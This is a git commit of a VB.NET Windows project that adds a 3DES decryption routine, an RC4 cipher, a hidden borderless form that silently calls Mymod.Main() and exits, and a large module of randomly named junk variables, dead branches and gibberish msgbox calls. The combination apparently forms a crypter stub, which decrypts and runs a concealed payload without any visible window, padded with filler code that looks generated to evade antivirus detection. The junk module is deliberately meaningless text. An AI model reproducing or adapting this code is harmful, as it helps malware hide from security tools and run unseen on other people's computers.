initial commit
This commit is contained in:
i2p
@@ -0,0 +1,26 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class _3des
|
||||
Public Shared Function a(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
Dim ReplacedkeyArray As Byte()
|
||||
Dim ReplacedtoEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
|
||||
If d Then
|
||||
Dim Replacedhashmd5 = New MD5CryptoServiceProvider()
|
||||
ReplacedkeyArray = Replacedhashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
Else
|
||||
ReplacedkeyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
End If
|
||||
|
||||
Dim Replacedtdes = New TripleDESCryptoServiceProvider()
|
||||
Replacedtdes.Key = ReplacedkeyArray
|
||||
Replacedtdes.Mode = CipherMode.ECB
|
||||
Replacedtdes.Padding = PaddingMode.PKCS7
|
||||
|
||||
Dim ReplacedcTransform As ICryptoTransform = Replacedtdes.CreateDecryptor()
|
||||
Dim ReplacedresultArray As Byte() = ReplacedcTransform.TransformFinalBlock(ReplacedtoEncryptArray, 0, ReplacedtoEncryptArray.Length)
|
||||
|
||||
Return UTF8Encoding.UTF8.GetString(ReplacedresultArray)
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,54 @@
|
||||
Imports System.Text
|
||||
|
||||
Public Class _4cr
|
||||
Public Shared Function enc(ByVal message As String, ByVal mykey As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = mykey.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (mykey.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
End Class
|
||||
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(27, 12)
|
||||
Me.ForeColor = System.Drawing.Color.Transparent
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Name = "Form1"
|
||||
Me.Text = "Form1"
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,8 @@
|
||||
Public Class Form1
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Visible = False
|
||||
ShowInTaskbar = False
|
||||
Mymod.Main()
|
||||
Environment.Exit(0)
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,136 @@
|
||||
Module MxYSyPEqBCHrXbnCiMM
|
||||
Public Sub LSLypEGjjdTBcYXolFWYBLFbrIeYFKEWBKBxdbVxaKNBeM(ByVal gLWnCtzineaZbxjUqSyPwiQnSOCBOVHeZdgeTQOzRTiXOmMwa As String)
|
||||
Dim gbvUPvoCmbNivSJIBYjOvLRldX As String = "aYOalaUmgVFbqWczQeXbIorgRJFitlLPOyQlHKTbDlPdmXH"
|
||||
Dim XxbpZczzXWQQlymJ As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim TPqNHNPykmilOqOffFpDXHNMXoggMBUvhDjMYXMZFmGwmFMIlbQK As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim TaWVLmsIJeWTCmtTHQpBMEdihImPhnWDFPIxVnulcLJHcisWDGfyS As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("xsziUHdxobDnehVWknhkcUVazkpmVTKZbBUmdtNIZqkSfguHZdiOuDOSKoRrArzesTWTTObvgMpshxkOMkxPKEPwXDZQmIWyZDkemQIpgUzTtvtghKVBgAuCSeJXnuwYDGFhoadeFPIJXCpyQEymRSYYeUPaLcurNecrjUIEmzLedstDxUblYiXzpZopOiktmZwWfZSCKaEr")
|
||||
msgbox("TRVAgkJSvFNPhZnJGsTXRYIViFhHKgzksahrhbhzJQWVcRHLhseJFfDlqtQyQniNpgaizwBykMHnJYjrHStqlSCFpbaxituvppYUvwwjQFQxcjLlDwMYYxlelghVqqqlbBYQbBmulwsNoaHiBeeXawbxMJehwIsZhTTjBnuTbnjyBZt")
|
||||
msgbox("LRgNZSLnXQypitztMybCekRwQaHDabgPEMSheTNNDDBnSHGgYwnEPzJFeUUdJystUDfmnUfEyIOWGXTQEwDGPiJFfOvcgSbWCEaEWIvNEurTSfTzBOgjzZzyPWrdNXOzyeNLYsqQcuEYSpjINdPpMLlbIQHYDndDryjuFDpcVfHtaOV")
|
||||
Dim XJVlGgzZdUipyYpePcfMPySFliQvHKwceLgFXNoKxmkgPCBFkgPgZZ As Integer = 813476
|
||||
Dim efTqmssvxyZTtdlqWcMLaktKCpkhOkVXMsBkdykvXywjyMwXcCMimKiz As Integer = 753618
|
||||
Dim GJwEuQScfKyDEpOPMDcUUceEHyaBVKzRfabWMzMJgLgFwOmEVxfCyGtL As Integer = 606360
|
||||
msgbox("WCjbCAcuYdpjowCGDXfUhnrWcNtySrUvImvusuBHhMGZncRngPaQvspuMAGiqiKhdkeIMPHlFPgGexenSsbKbJOzMEinUXRehrzYlhjNugcloaeoPCvLAHEUeToUeggSXDVyrSXXCGIWsgFYZnxauJznPqmlwdrgANHsGpJvekoVSmwZwvvNkinmVOrvxkmCTSWMFVk")
|
||||
Dim fhitRqKRyCSfQzyigtJmbrSMLaWvkrVRcHGgpYLQzJXlinLLxsQBYjvK As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim ukKSmAACbMnlBVY As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim CKcrsRqPCPYAEvonHylxNESY As String = "cppbSszPDtfgvCJzpmOOUzljQzlBbucDyzLSWxcBlWSGBuDBfkTEeWTkKZmUH"
|
||||
Dim msLhlioOGjMfQuZbrorhLjFGNUoxPtjUvbcgpPMqtXqInOLaPLxvcKDl As Integer = 703541
|
||||
Dim RhZiJxRBiD As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim QbTXcihgHkVHXTqnPAfiGHhXNf As String = "qwhyYjPSWizkXiFSsnIPvKPjZVDaySScSEpbhgJkbKV"
|
||||
Dim OuIahlIPMLBrU As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim GCrRwsEnSjXRuXOpxMPlPAmSqYddVJFINtUJjjiYovijpGazdtQeupA As Integer = 800723
|
||||
Dim XtlNBaxVScDclSFVYQtTCRpweSCXbSpJgWrfEJTpGTKUbssUogUfDOCB As Integer = 653464
|
||||
Dim ycobjrXAwYToLJqCvsrHTXUqjoojOjWypIzXPLXefVnEwIfcpwRWKuQMv As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim oqNygbnutBluabRxtx As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim wWnbSGnwNOxftpaywSqIGiXsb As String = "BUUdLnpFeybDVWWnXPELBugtcPsHIPZfrXtISdieyPzPzBoTn"
|
||||
Dim DVJwLjXFDPUJPcIfFEsqmbkCHTOMvEKYcetPqnehdYtndhBZrgBsxvak As Integer = 750646
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
Public Function QXwBfxfpGIwJHsxHfkylLJpfhtCBBtqqqWbglBJixZeWsVIqczlXzthMOUOKFycedvuJIRTsCODWcOlmzgzgMnOxDKWJQmJFPoSzlZbvwIrNRuDZFYyIIXtIQhW(ByVal sBZOoVFWoUVuSDag As String) As String
|
||||
On Error GoTo WEXWmrScOuZaSqYkpoAtEpaBBFaZTvlPyRDivgGuGeqWDPHJsFZFVmxBDpvm
|
||||
Dim DBuKzJrTimimVPrrQInkLSoMBjhPMSHaebBoNVEpwScuaQnDliDULzw As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim YVJqEuzsiNxHfQTLbNggLsDniJTKaSAEkfDpRjHxsQogVKqnYuPsoPSB As Integer = 672161
|
||||
Dim lmtZUiXBQbGQneEVsaztIgnbiGePpjMZvRbOvXDQGGQnVquUgBzKJaJz As Integer = 524903
|
||||
msgbox("fJzelnoAQXPlbCHdGKGiQovnhJlgfwqcRVgjcPgueVBpmdrovAvXQreNhnLVUJKyUUKOiGegaREBpIqbeMWVxKeBCWjbTGnFaZmQnOroUgQAsyWhURdkvuqTymbqJpUNqKfcZpNhUqGbedVZqnEqyIeeKHzaLBlYFMoZknZjWuRhQHGBMWSSXcvDRxtyWcnijAoXAOgVzDMkwDCIGxOHTuhdkRMNXshbaTQoiPkCCTtMYCmht")
|
||||
Dim fCrCvMLUoOXyYJkOxZFocfRdGUhuggvZbBujoCszgdTXVsiLO As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim rtgIpAKhCcBDOgoOZfNgPtfeqZZsW As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim ZLhluqggtBpxhnlBzMBFzmNhFY As String = "OZjkybYlBTKGRJoWSThmAAIKmeSGrFqxxNkDBehYSKIEOVtFDvDlqwPSM"
|
||||
msgbox("GrgoJAVkqFSancTZsUorTSgWbTTuKQqyCuIDgqYCETOXnCYgPXVYufXIoRSOAAWHbWXRRHMeDnHqnoCZrYXJVErUmSWiEHwsgUonqUYwpHMmPIwlaRHGYKfpZRtKyGGoTiVaeyyoQXsVufuySzoYfSaBKxBIUpcpIhmKOZogdMxEakwTPiSRxSkUqyRLPkrwoneKmqepVkcVPHLgJDxLTubfGKNjPgPqVAKEnnrqvaRTSaGdNUmDvGkAvxDoTdXzkoUmDLn")
|
||||
Dim LBUJcwRiYUTUvRIaWaiHSdPGyJPrDdTIjHfwIXdZUYnWNxJodKOPuxDz As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim qnlZRqxmwInFnJYuxMdwAjhpTCfGJgEMWNKGQOYajqENBRLAVRuHvYqnIi As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim YtGtSHrcPpnSSUqsviSXvfzWZh As String = "rITgPcozqUGartaLRiSIOrGPpmMjrUOpxuaMWLagdOFgOHkawediTnjbRTfoxq"
|
||||
Dim kzLVeWlcYMItnlwOklknDWSoPJEsfqmVgBenGDEdoFPflOILggEoJZG As Integer = 572008
|
||||
msgbox("qzpcKOvaiDKsMtYPYeRxzuBMMCJSalymJQeCORmBKJjCnxQcVqZuqSpbfPRHRYtXrCQsgvOgoWxGvURaUJbavOWXOviiQDezOgqjMurWvNpllEpTwDKXQcLKoOxbYSUZDXsHIKigIBzaLyPevPSBFWugqUrOdFluKuWmETAJQHXvLVtEeuFsTlTwdxXmUA")
|
||||
Dim jUxCewlsFteVSmhjYodwotSeEZJSLwimsuQakJKkjpzmfGBrxZvcv As Integer = 8844269 + 463213 + 463213 + 294844
|
||||
Dim spiHxUTnxFUXx As Integer = 4428768 + 664062 + 664062 + 495694
|
||||
Dim XnoqmNVjxZZcSUiiTbopgvbPNs As String = "IqItUBGdBjVCozrtMBoJDcVrnvSOywfmDOrgCsnBZltrxzUidFYUpWgkfwa"
|
||||
Dim lKMJwxKrdZXriGEfdEWIzqxVSfCvhfmzNfZnBJRnqrfXUOTgrHqHZ As Integer = 669190
|
||||
Dim MuPWeXEtMtsjkzIAHjWYNBXUhkRTDdZzRgwuGIAyLCDyAYeKHqddamoUhq As Integer = 9913266 + 1065761 + 1065761 + 405958
|
||||
Dim zxJJTjoSIXIPSNzPxnp As Integer = 5497765 + 775176 + 775176 + 606807
|
||||
Dim TrtoagIGBfwzGTybUHdIVnvg As String = "QSONJJgAvUEckIlGsRbzhxxFRzgweVNhuTsZdrLYmLdIkadwXXYMdGhVOiKSnRzuo"
|
||||
WEXWmrScOuZaSqYkpoAtEpaBBFaZTvlPyRDivgGuGeqWDPHJsFZFVmxBDpvm:
|
||||
msgbox("DznriVHzjOCbJLEpJDNRbUWfjTVKfmQoKKPLKRBHsUvYIudQTLqErnhbsuvAvaBAFeHvuDXyCmhjHLDFHhoGsgsGOHDUCZXUxLfxgqTMIMLhUWJPAHgZIlEsDQekpbylVBmqKjuOToIJoYazDlnZxGhurOtOhPnHsbmUshXVaowZLyYxBxfgFkkgYkcjohalByYK")
|
||||
If 5810253 > 807656 Then
|
||||
Dim QtSCbjxdTJgTrZqhehMwVYPamc As String = "qXmkIiidmXsccNHsOHRuXAqTXyRuCzDiHnyegrVXiEvaEMNJJurGbbLZOywUgBhlWVUINmLWa"
|
||||
Dim mcmBaLxwYdhwWDHimstWpoGuzj As String = "pqADhjYqPLYEvSVZLHHRpMlNVccqtCjhrAXiGRJfFKUoWyCDyRJMCjjUsmVpHZZuNPuYNNRRU"
|
||||
Dim IOqNopPsOmNtfLmwNFnCgCygf As String = "dXZhFvzoDGWcnUvXJzjgZqIeiMPPZMIRlroYdlIYTGjAgxh"
|
||||
End If
|
||||
Dim VRdSJDYdDHOOlvzPWsLibOHbGG As String = "eDCClUQuXdtNfoYufOnyqagqCivDPOMtoOHhKGcmLRQgRDJ"
|
||||
Dim KUwVSNYgXyenptPekTWWgTVqjqVESjfbRCneuaFSKuWXEyOvyoiaFvtN As Integer = 217704
|
||||
Dim uDNmcDfrCUPyNCgPgQETHjZtjESQbRcJBsHKmehAhJOwedmJZzVnfWA As Integer = 540628
|
||||
Dim nWMBBKcbXVlofUgmyoKIedJRtb As String = "eBaEDzmTbselEhHihxeYDVDalTmIEiEmlrbpcaMiLCLGrWhbxSSBjlsDNILIjBawiWSRt"
|
||||
msgbox("FkYuDCtdcSrGnQXGgZCQVMdirtIfFCweXUFqqTNPpZABtgngsjpycciSnFigYlmmOvbfIEmzSthqdSxlarwoZgjcXLkPGmmbaavqcyyjHptOSjXaMfNiNONqbVHYufyaUxTpeVEdtHUSfsmHxxYLFbpQzlxxFkJHdBTOLDWpoQIUyGtGSRQqTOrdbxkexaoPIwXjGkpVZcipdjPChQErHUPFsvzbQfBQZqYIpgCeNPFUysgbpcx")
|
||||
If 6879251 > 918769 Then
|
||||
Dim oaCKkpQMQscbhdjhltVvcyfIa As String = "nzYEyRiFVqBrDbGFpxQVYcBEReKpjOHNnzYGrwWNiuSIFWbiyEDrMPRUqLkFgQ"
|
||||
Dim DtuEWaBjpLoDytbtlZRjmQbWqN As String = "JgmrtoObMjqZvKmSffWtdSZygQWzSFWJanW"
|
||||
Dim QZrVNmFmDzXgtZVbBmurJRNWZQ As String = "YefYNEnRAJjHGYJmHHMepphfTVxSNioVnUGA"
|
||||
End If
|
||||
msgbox("aPZjXDfLSzFMBBEJkosBzfVbLzSnlKtteLJFjqCoyYJCZIelyUCFtvLkueLoifTvglLGItlwyzwtnFeLBgMtTwahlPafCpnwOoBkUTnMqQaWEEkelJjLTjwVMHiGhgaxAeQnhkEMFyhnOZMqmSDJOBWNokLlLKdWDusetEuCzRTDqXdGxRPEvQGcsiqemRAafBMFJVDihcPtHzVZgqQkQtuBdpZSXnxOzThmMvnvEkeEuXyNcKrfFCxXFm")
|
||||
If 8811579 > 459815 Then
|
||||
Dim FladuXQdvdiaOyDlhGJCBMTFDi As String = "gWLRsWSqEycDoDQuGoHsNeTSMRSEVBpSCzgxJEBxrT"
|
||||
Dim hDxyTVcecLTWJxZWTuRRpgTkVp As String = "qBUPiloutXqWedxtzRvRtMwVXSKtYPcccFVXibAJEgsc"
|
||||
Dim kcJhNsYVRjCgKzmFPLgwdYBYwj As String = "WXGZNgxPMmhSvNkkgNeaCiYsNXKlkMhFkLIZzFRgncEUgirDGvEkSEHuqoK"
|
||||
End If
|
||||
msgbox("JFvneRKKwRIjcVUvcngfXRQcmMXtukjgcLoeJELUjCEpdMMSEXjGoaJrRCJJZVzTQtDDoEmPaqExnrDKjItYwdjWOGURnStfvNTkKvCFwCwoGEFfuRPuTFZDtrmVhXtpZGYXVxYHVxmwikMRrNktmIMjPrYadFmtLAfgHjbQGeMB")
|
||||
If 4396078 > 660664 Then
|
||||
Dim ePMiLwsSnqyDocnANXQmDKjyjm As String = "imcJbTFSjGXoLNCHwxpogSWbdIKqRRhxlvsoHRqUtCQdRZqwyhVPmymZlckmrwj"
|
||||
Dim yrEjClbEFypWrejwNyxzehJqt As String = "xyMbYdOIgOqdZlmbpZfaLSqoAUgqpejxgbmOTZflLhPaefboGIWXGTaVzmntJnNA"
|
||||
Dim AifCCaWgWRNbryFxpdDEhKqOQ As String = "mecuBPwZRUsOcMDdFgBeesgLgDKzCtsJOCwRwpmApukgrVXllXZWUNsIxd"
|
||||
End If
|
||||
End Function
|
||||
|
||||
|
||||
Public Sub dgFdmykJzJVOGhgGZIXdaMDbeaBbFeE(ByVal YoXQwdkqrsEJeXxpLQMabIhqXNHLjZtBgnyOaZywlYPSdyzxB As String)
|
||||
Dim WhXhPEKSajCNqwwmHuWZYbDKngEVXlWkyWtyatcMKccVTNA As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim csbFOxYmKCwVUHygvSNQYuKwTHmgmFznw As Integer = 4806635 + 534970 + 534970 + 534970
|
||||
Dim ZhlRjzHwXNuMGnGeNGCHshlapBLScJrbFUoRLltxsipOsyNxutidmWvM As Integer = 703541
|
||||
Dim bHGLZxwVPaZIvObIqIYxxdBIywCCgLfObyNuDNmhiOhVGohEXIlXlXqe As Integer = 126466
|
||||
Dim XSOHSHjoBhzqVNwmdMwIPYTlFhJZZkiSOVctVOVLtjGasPpQQioSb As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim EVsWVzlNxizpbgXmxtQbhoqcRn As String = "mcxHcsCFFBMkJdezetYKkblCVnJYEOOUvNExd"
|
||||
Dim vCxIyiAdIFtfXNbfvoaKlvkIbZGhDL As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim ewnqaZMJMEWzAYSIqQTnQFNaKXgefTcrzKawBSXDyjMnHpMtiuOBaenI As Integer = 653464
|
||||
Dim UrpGziqyBwxxNDSietqpsSlQvfEIozCzPkZQnRrovSojETNndEqLtPC As Integer = 976389
|
||||
Dim UfBnziUHaPMclgeyVxjgmRnDKpJzSmTeIrtwwSzrnVWwUFxsUwDrlYLUP As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim thgLYZUIHNsnjBpXNVWUFJbHAIinWTrfWRv As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim yGRdZUVCMnhkgucMZEtmlYqxFa As String = "BGyldqJVjPdClaFHaIbGFANMCclqkmrhwHnpvJyXSqXKtONVeLNBEBKVaRvhvwsx"
|
||||
Dim ITCcPJNNLYdDpsJIFbhhPQXupKqBtqqkHYiBmIQySGPqoOntdPrdgJk As Integer = 173571
|
||||
Dim zIhgFSmZOrawDQ As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim KGLpEGXdeRtVHqSXsZKfbOjsqZ As String = "qMYWFGoyWbnigWrVkWXvZaDpqtPTdOLUVVGDVeSZGlUKpeSwzHdoKUXbJlGO"
|
||||
Dim HSBNNqTIraOisATxkmgDtmOXCdwPQcxdjJHxstfNPurvUcMvEigpbOKB As Integer = 672161
|
||||
msgbox("tkDdkEafkxZLWMXIbeoMMoacMUEgdsjLwbWwOOFWXDEkOzVipWLyrdSIkQtLnOZCZhxHvduabssNcKyuGVkkoMBlJFhcwQhmzaPPwIJUnfUWqDNPBHEuQUNrPMecPFrbWpgnKKVgHEwplQieeKnVEGCeqaTPluNxLPdejxonFFHVHLSOKRUQyk")
|
||||
msgbox("qgDsKFvhATNWWxTuqnJuttWlxILepYsNVxkDHegDFDTarrWeKVzNXCJgkWkMduXvzeidWNDcMsXzPpZcwKgTBYWPVHHNcyQDRKyOTMnaKUaoEACLqoFItPkHrwdbzsyFLWiFLkMSoSenahiAhqaaPkbenYCyJmwYWwnxOqCZnTktpqrPJyqQdqXyUdYVmlcmTPkqmkPuGuPkHaLtFaxqzqNTJxyCvmwVQPGfnLMJDMXECbKSyms")
|
||||
Dim qgVQugmWaRQqLmmymfLgsPKkspSXEvsqnqhFBrSsRXG As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim POFnGGzKrzbUziVJcXtinyBNBTbtE As Integer = 3910614 + 441836 + 441836 + 441836
|
||||
msgbox("zYIBJWqkcXeHPMWKXxvGtVhqTXKTLcJssnaNoqBrscTdhYyxKnUCAQiIKiwoNwDrPTxoqalHvHXYANtITJVqMRKbYsMsQxKVeeQOeAsalYGvBFsHNzprzhXJIgNnlUsWeakisxrEOqDKwKIUIRcLsvEypsHPXGxVtrFKvmcploWUSzkHqlVbLvntOrDBvvFWSslVJI")
|
||||
msgbox("UtENSRAqrjqImRRRboLLbFeWPtMqQaalgjwtJRLWVzWcEKXsRQlUBfFpPTJkZdiMBbFHzBrjZWIKeTukUTvkQyOYluPPmgEMOIJxWEcrCioXadbIrZLxDLAklxAVlkjzZGdEHcPKMKjFZpObsIBwvVLnVGkpFrRorviRpXxCMfOwKFDDdxoUbcqxzupNcDyuYEuXCrWhKUylOaoDIUrGdjjcfqjdkWZfcIhNcmiQNFIMVDQpozgwjrmrVWoZLwoKMjQZwIbP")
|
||||
Dim wVqoPqYevEWZxroxVIwmlwcoEiJsRoYKrzydSplHUbLllij As Integer = 7775271 + 1011903 + 352100 + 352100
|
||||
Dim DxZkMIzFdkAPdRUawRRDWkxVGaDruaTCImRKelppFYqKqorfZUVvkfXxN As Integer = 9707600 + 552949 + 552949 + 552949
|
||||
Dim nUXaxOzmzKOrBNkyfmyQUTUOCxNPTxdkbkyoibBKnRfmiSdBYHppDtQ As Integer = 719266
|
||||
Dim jLdQiBFyzOsWolWSPdwDtvsaBObVsWWoiYHdvGJhPUWAHQcLDFoGuTxn As Integer = 572008
|
||||
